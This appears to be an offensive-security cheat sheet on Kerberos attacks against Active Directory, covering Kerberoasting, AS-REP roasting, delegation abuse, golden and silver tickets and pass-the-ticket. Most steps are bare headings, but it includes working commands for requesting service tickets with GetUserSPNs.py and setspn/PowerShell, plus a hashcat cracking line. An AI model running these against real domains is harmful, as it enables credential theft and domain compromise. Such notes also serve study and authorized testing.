Kerberos Attacks

From Linux

GetUserSPN

# Request 1 Ticket
GetUsersSPNs.py -dc-ip <ip> <domain/<user> -request-user <username>

# Request All Tickets
GetUsersSPNs.py -dc-ip <ip> <domain/<user --request

# Save to Output
GetUserSPNs.py -dc-ip <ip> INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

# Crack TGS Ticket
hashcat -m 13100 file.tgs $ROCKYOU

From Windows

setspn.exe

# Find Accounts with SPN
setspn.exe -Q */*

# Better Command
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Mimikatz

PowerView

Rubeus

Double Hop Workarounds

Method 1: PSCredential Object

Method 2: Register PSSession Configuration

Roasting Attacks

AS-REPRoasting (Windows)

AS-REP Roasting Enumeration

Performing AS-REPRoasting

Set DONT_REQ_PREAUTH (PowerView)

AS-REPRoasting (LInux)

AS-REPRoasting Users Enumeration

Find Accounts Without Authentication

Kerberoasting (Windows)

Manual Detection (PowerShell Script)

Find Accounts with SPN (PowerView)

Invoke Kerberoasting (PowerView)

Rubeus Kerberoasting

Kerberoasting Without Account Password

https://www.semperis.com/blog/new-attack-paths-as-requested-sts/

In order to perform this attack, we need the following:

  1. Username of an account with pre-authentication.

  2. A target SPN.

Kerberoasting (Linux)

Get Account SPN

Unconstrained Delegation

Unconstrained Delegation - Computer

Method 1 (Waiting Authentication)

1 Monitor Stored Tickets (Rubeus)

2 Using Captured Ticket to Request Another Ticket

3 Using Newly ticket

Method 2 (Printer Bug)

https://github.com/leechristensen/SpoolSample

1 Monitor Tickets

2 Abusing Printer Bug

3 Captare & Renew Ticket

4 DcSync

5 Using NT Hash

Unconstrained Delegation - Users

Gather Unconstrained Delegation Users (Powerview)

1 Create Fake DNS Record

https://github.com/dirkjanm/krbrelayx

2 Verify DNS

3 Craft SPN

4 Decrypt Ticket

5 Leveraging Printer Bug

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

6 Perform Attack

7 Export ccache + Secrets Dump

Constrained Delegation

Constrained Delegation (Windows)

Gather Constrained Delegation Computers

1 Get Machine Hash (Mimikatz)

2 Constrained Delegation Attack

Constrained Delegation (Linux)

1 Find Delegation Accounts

2 Craft Valid TGS Ticket

3 Login With TGS Ticket

Resource Based Delegation (Windows)

Enumerate RBCD Script

1 Create Fake Computer

2 Modify Attributes Created Computer

  1. Obtain Computer SID.

  2. Use SDDL to create a security descriptor

  3. Set msDS-AllowedToActOnBehalfOfOtherIdentity in raw binary format.

  4. Modify the target computer.

3 Get Computer Hash

4 Request TGS Ticket

Resource Based Delegation (Linux)

1 Create a New Computer

2 Add Computer to Trusted List

https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py

3 Request TGS Ticket

4 Export ccache & Login

Ticket Abuse

Golden Ticket (Windows)

We need 4 elements in order to perform a Golden Ticket attack.

  1. Domain Name

  2. Domain SID

  3. KRBTGT's Hash

  4. Username to impersonate

1 Gather Domain Name

2 Gather Domain SID

3 Gather krbtgt Hash

4 Forge Golden Ticket

5 Login

Golden Ticket (Linux)

1 Gather Domain (SID)

2 Create Golden Ticket

3 Importing and Use Ticket

Silver Ticket (Windows)

1 Gather Domain SID

2 Compromised Service Account

3 Forge Silver Ticket

Create Sacrificial Process

Silver Ticket (Linux)

1 Retrieve Domain SID

2 Create Silver Ticket

3 Export ccache

Pass The Ticket

Pass-the-Ticket takes the user's Ticket Granting Ticket (TGT) or Ticket Granting Service (TGS) Ticket. The TGT is a signed ticket that contains a list of privilege levels. This TGT is passed to the Domain Controller, which will grant the TGS Ticket that can be used to access machines. Stealing either of these tickets makes it possible to perform lateral movement.

1 Create Sacrificial Process

2 Read Tickets

3 Extract Ticket With Rubeus

4 Renew Ticket

4 Read Files

Last updated